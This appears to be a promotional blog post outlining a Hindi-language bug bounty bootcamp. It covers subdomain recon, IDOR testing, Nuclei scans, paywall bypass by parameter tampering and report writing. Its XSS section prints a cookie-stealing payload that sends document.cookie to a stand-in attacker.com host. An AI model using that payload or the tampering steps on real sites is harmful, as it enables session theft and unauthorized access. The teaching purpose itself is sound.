Master Bug Bounty Hunting in 7 Days: A Crash Course for Ethical Hackers

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Introduction:

Bug bounty hunting is a lucrative and high-demand skill in cybersecurity, allowing ethical hackers to earn rewards by uncovering vulnerabilities in web applications. Deepak Saini’s 7-Day Bug Bounty Bootcamp offers hands-on training in real-world bug hunting techniques—from IDOR to XSS—delivered in Hindi for accessibility.

Learning Objectives:

  • Objective 1: Learn to identify and exploit common web vulnerabilities (IDOR, XSS, Paywall Bypass).
  • Objective 2: Master reconnaissance techniques for effective target discovery.
  • Objective 3: Develop a bug reporting mindset and automate bug hunting workflows.

1. Essential Reconnaissance Tools & Commands

Command (Linux):

subfinder -d example.com -o subdomains.txt && httpx -l subdomains.txt -status-code -title -o live_urls.txt

What It Does:

  • Subfinder discovers subdomains of example.com.
  • Httpx checks which subdomains are live and extracts HTTP status codes and page titles.

Step-by-Step Guide:

1. Install tools:

go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest 
go install github.com/projectdiscovery/httpx/cmd/httpx@latest

2. Run the command to gather live targets.

3. Analyze `live_urls.txt` for potential attack surfaces.

  1. Finding IDOR (Insecure Direct Object Reference) Vulnerabilities

Command (Browser DevTools + Python):

import requests 
response = requests.get("https://example.com/api/user?id=123", headers={"Cookie": "session=XYZ"}) 
print(response.text)

What It Does:

  • Checks if changing the `id` parameter exposes unauthorized data.

Step-by-Step Guide:

  1. Log in to a web app and intercept API calls via Burp Suite.
  2. Modify `id` values (e.g., `123` → 124) to test access control flaws.

3. Report if unauthorized data is accessible.

3. Exploiting XSS (Cross-Site Scripting) Vulnerabilities

Payload:

<script>alert(document.domain)</script>

What It Does:

  • Tests for reflected or stored XSS by executing JavaScript in input fields.

Step-by-Step Guide:

1. Identify input fields (search bars, forms).

  1. Inject the payload and check if it executes.

3. Escalate to cookie theft:

<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>

4. Automating Bug Hunting with Nuclei

Command (Linux):

nuclei -u https://example.com -t ~/nuclei-templates/ -severity medium,high -o findings.txt

What It Does:

  • Scans `example.com` for known vulnerabilities using prebuilt Nuclei templates.

Step-by-Step Guide:

1. Install Nuclei:

go install github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest

2. Update templates:

nuclei -update-templates

3. Run scans and review `findings.txt`.

5. Bypassing Paywalls via Parameter Tampering

Technique:

Change API parameters like `?premium=false` to `?premium=true`.

Step-by-Step Guide:

1. Intercept a paywalled request in Burp Suite.

2. Modify parameters (e.g., `isSubscribed`, `role=admin`).

3. Check if access is granted without payment.

6. Reporting Bugs Like a Pro

Template:

 IDOR in /api/user Endpoint 
Steps to Reproduce: 
1. Log in as User A. 
2. Change `id=1` to `id=2` in <code>/api/user?id=1</code>. 
3. Observe User B’s data. 
Impact: Unauthorized data access.

Key Elements:

  • Clear reproduction steps.
  • Proof-of-Concept (PoC) video/screenshot.
  • Impact analysis.

What Undercode Say:

  • Key Takeaway 1: Automation (Nuclei, Subfinder) accelerates bug hunting.
  • Key Takeaway 2: Ethical reporting ensures long-term success in bug bounties.

Analysis:

Bug bounty hunting is evolving with AI-driven recon tools and stricter program policies. Hackers must balance automation with manual testing to uncover logic flaws. Deepak’s bootcamp bridges the gap for Hindi-speaking learners, democratizing cybersecurity education.

Prediction:

As APIs and cloud apps grow, IDOR and XSS will remain top vulnerabilities. Bug bounty platforms will integrate AI-assisted triaging, but human creativity in exploitation will stay irreplaceable. Early adopters of automation + manual testing will dominate the field.

Ready to start hunting? 🚀 Join Deepak’s bootcamp before seats fill up!

🎯Let’s Practice For Free:

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Reported By: Deepak Saini – Hackers Feeds
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